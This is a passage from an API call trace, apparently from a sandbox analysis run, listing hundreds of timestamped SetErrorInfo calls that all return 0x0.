perrinfo=0x0) returned 0x0 [0061.283] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.284] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.284] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.284] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.284] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.284] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.284] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.284] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.284] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.284] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.284] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.284] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.285] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.285] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.285] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.286] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.286] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.286] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.287] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.288] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.288] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.288] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.289] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.289] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.290] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.290] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.290] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.291] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.292] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.292] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.292] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.292] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.293] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.293] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.293] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.294] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.294] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.294] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.294] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.294] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.294] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.294] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.296] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.297] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.297] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.297] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.298] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.298] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.298] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.298] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.298] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.298] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.299] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.299] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.299] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.299] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.299] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.299] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.299] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.299] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.299] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.300] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.300] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.300] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.300] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.300] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.300] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.301] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.301] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.301] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.301] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.302] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.302] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.302] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.302] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.303] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.303] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.303] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.303] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.303] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.303] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.303] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.303] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.303] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.304] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.304] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.304] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.304] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.304] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.304] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.304] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.304] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.305] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.305] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.305] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.305] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.305] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.305] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.306] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.306] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.306] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.306] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.306] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.307] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.307] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.307] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.307] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.307] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.307] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.307] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.307] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.307] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.307] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.307] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.307] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.307] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.308] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.308] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.309] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.309] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.309] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.309] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.310] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.310] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.310] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.311] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.311] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.311] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.311] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.312] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.312] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.312] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.312] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.312] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.312] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.312] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.312] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.312] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.312] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.312] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.312] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.312] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.312] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.312] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.313] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.313] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.313] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.313] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.313] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.313] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.313] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.313] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.313] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.313] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.313] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.313] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.313] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.313] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.314] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.314] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.314] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.314] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.314] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.314] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.314] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.314] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.314] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.315] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.315] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.315] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.315] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.315] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.315] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.315] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.315] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.315] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.315] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.315] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.315] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.315] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.316] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.316] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.316] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.316] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.316] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.316] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.316] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.316] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.316] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.316] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.316] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.316] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.317] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.317] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.317] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.317] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.318] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.318] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.318] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.318] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.318] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.319] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.319] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.319] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.319] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.319] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.320] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.320] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.320] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.320] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.320] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.320] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.321] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.321] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.321] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.321] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.322] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.322] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.322] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.322] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.323] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.323] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.323] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.323] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.323] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.324] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.324] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.324] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.324] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.325] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.325] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.325] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.325] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.326] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.326] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.326] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.327] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.327] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.327] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.328] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.328] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.353] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.353] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.353] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.353] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.354] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.446] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.446] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.447] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.457] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.472] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.472] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.472] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.488] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.489] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.489] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.497] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.513] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.513] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.513] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.513] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.513] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.513] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.513] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.513] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.513] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.513] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.514] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.514] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.514] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.514] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.514] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.534] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.534] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.535] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.543] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.558] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.558] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.558] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.558] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.559] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.559] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.559] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.559] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.559] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.559] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.559] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.560] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.560] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.560] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.560] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.560] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.560] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.561] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.561] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.561] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.561] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.586] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.587] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.588] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.599] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.618] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.618] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.618] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.618] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.618] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.619] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.619] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.619] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.619] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.619] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.619] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.619] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.619] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.619] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.619] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.637] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.647] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.648] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.660] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.678] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.678] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.678] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.705] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.705] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.706] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.717] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.735] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.735] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.735] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.751] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.752] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.759] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.774] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.774] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.774] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.824] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.824] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.825] SetErrorInfo (dwReserved=0x0, 